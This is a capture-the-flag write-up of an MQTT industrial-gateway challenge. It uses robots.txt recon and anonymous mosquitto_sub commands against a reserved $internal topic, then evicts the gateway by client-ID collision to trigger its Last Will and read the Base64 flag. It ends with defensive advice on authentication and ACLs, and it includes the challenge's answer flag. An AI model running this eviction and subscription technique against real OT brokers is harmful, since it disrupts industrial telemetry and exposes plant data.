
Last Will (OT / IoT) - Writeup
On this page
Challenge Overview
| Event | KPMG CTF 2026 Campus Edition |
|---|---|
| Challenge | Last Will |
| Category | OT / IoT |
| Points | 20 |
| Web Portal | kicyber-...-lastwill-0-0.chals.io |
| Plant Gateway | 0.cloud.chals.io:29726 |
"GreenLeaf migrated its plant telemetry to an old protocol-based IIoT gateway last quarter. The contractor who set it up left early, ops has been finding undocumented pieces of the deployment ever since... Find the flag!"

The title is the spoiler: in MQTT, a client registers a Last Will and Testament (LWT), a message the broker publishes on its behalf if it disconnects unexpectedly. The whole challenge is making the gateway disconnect ungracefully so its Will fires, and that Will carries the flag. We get a web portal (a login we're meant to leave alone) and a gateway on a non-standard port.
Step 1: robots.txt → the /pub Archive
The portal is just a login. Don't brute-force it, enumerate instead. robots.txt points at a directory it wants hidden:

User-agent: *
Disallow: /pub/
robots.txt is not access control, a disallowed path is still served. /pub/ has an open directory listing:

backups/ docs/ logs/ README.txt
Step 2: Read the Leaked Operational Docs
The archive is a goldmine of OT recon. The key files:
docs/network_diagram_old.txt — the gateway speaks MQTT (to a Historian), Modbus TCP and OPC UA, and notes the MQTT broker moved to a non-standard port.

backups/config_backup_2024.txt — confirms mqtt_port=non-standard for device GL-GW-001.

logs/gateway_startup.log — the decisive line:
[INFO] Last Will set on plant/gateway/heartbeat_lost
So the gateway's LWT publishes to plant/gateway/heartbeat_lost.
backups/notes.txt — the contractor's two careless admissions, which are the exploit recipe:

- "the internal diagnostics branch doesn't show up on a normal full subscribe... MQTT treats topics starting with a certain character as broker reserved and skips them on wildcard matches. Have to ask for the 'internal' branch by its exact name."
- "whenever a second device boots up using the same client ID as one already connected, the broker kicks the original off without warning, and it fires an 'unexpected disconnect' alert."
Clue 1 = the $-reserved namespace. Clue 2 = client-ID collision is how we force the Last Will.
Step 3: Reach the Broker
The gateway endpoint needs resolving (our nc wanted an IP):
getent ahostsv4 0.cloud.chals.io # → 165.227.210.30
nmap -sV -Pn -p 29726 0.cloud.chals.io # 29726/tcp open (unknown service)
sudo apt install -y mosquitto-clients
A plain wildcard subscribe confirms anonymous MQTT and live telemetry:
mosquitto_sub -h 165.227.210.30 -p 29726 -t '#' -v -W 5 -d

plant/sensors/tank1/level 73.6
plant/sensors/pump2/rpm 2563.3
plant/sensors/valve3/state closed
...
Note # did not show any $... topics, exactly as the notes warned.
Step 4: The Reserved Namespace
MQTT spec: a top-level #/+ wildcard will not match topics beginning with $ (reserved, e.g. $SYS). You must name the branch explicitly. The contractor called it $internal:
mosquitto_sub -h 165.227.210.30 -p 29726 -t '$internal/#' -v -W 10 -d
$internal/gateway/registry {"primary_device": "gateway01"}
A retained message naming the primary device: gateway01. That's our candidate for the gateway's MQTT client ID, the thing we need to collide with.
Step 5: Force the Last Will via Client-ID Collision
Two terminals. First, a listener (its own unique ID) watching everything:
# Terminal 1 — observer
mosquitto_sub -h 165.227.210.30 -p 29726 -i observer-watch-01 -t '#' -t '$internal/#' -v -d
Then, in a second terminal, connect using the gateway's own client ID to evict it:
# Terminal 2 — the eviction
mosquitto_sub -h 165.227.210.30 -p 29726 -i gateway01 -t '$internal/#' -v -d -W 10
Terminal 2 shows a telltale reconnect loop, our gateway01 and the real gateway's gateway01 repeatedly kicking each other off:

Each time the real gateway is booted, the broker fires its Last Will. Terminal 1 captures it on plant/gateway/heartbeat_lost:

plant/gateway/heartbeat_lost
S1BNR19DVEZ7MmNmdGxMeEoxbjd3MWhqLWRFYnZMVTcxWnJxY0tGdFF0MXVoRlZUbXhGVGd9
Step 6: Decode the Flag
The LWT payload is Base64:
echo 'S1BNR19DVEZ7MmNmdGxMeEoxbjd3MWhqLWRFYnZMVTcxWnJxY0tGdFF0MXVoRlZUbXhGVGd9' | base64 -d
KPMG_CTF{2cftlLxJ1n7w1hj-dEbvLU71ZrqcKFtQt1uhFVTmxFTg}
Summary
| Step | Action | Result |
|---|---|---|
| 1 | robots.txt → /pub/ | Open archive |
| 2 | Read backups/docs/logs | MQTT port, LWT topic, 2 behaviour clues |
| 3 | mosquitto_sub -t '#' | Anonymous access, live telemetry |
| 4 | -t '$internal/#' | primary_device: gateway01 |
| 5 | Reconnect with -i gateway01 | Evicts gateway → Last Will fires |
| 6 | Base64-decode the LWT payload | Flag |
Key Takeaways
robots.txtis a map, not a lock. Disallowed paths are still public;/pub/handed over the entire OT deployment's documentation.- MQTT
$topics are invisible to wildcards. A#subscribe silently skips reserved ($-prefixed) branches, so hidden diagnostics like$internal/#must be named explicitly. Hiding data behind$is obscurity, not access control. - Client-ID collision is a real MQTT DoS/trigger. The spec says a new connection with an existing client ID disconnects the old one. With no per-client authentication, anyone who learns the gateway's ID can evict it, here, weaponised to fire its Last Will on demand.
- Last Will leaks data on ungraceful disconnect. Secrets never belong in an LWT payload; the gateway published the flag to a topic any anonymous subscriber could read the moment it was kicked.
- OT/IoT brokers need auth + ACLs. Anonymous subscribe, no client-ID uniqueness enforcement, and no topic ACLs together turned a telemetry broker into a flag dispenser. Require credentials, enforce unique authenticated client IDs, and lock topics per client.
Flag: KPMG_CTF{2cftlLxJ1n7w1hj-dEbvLU71ZrqcKFtQt1uhFVTmxFTg}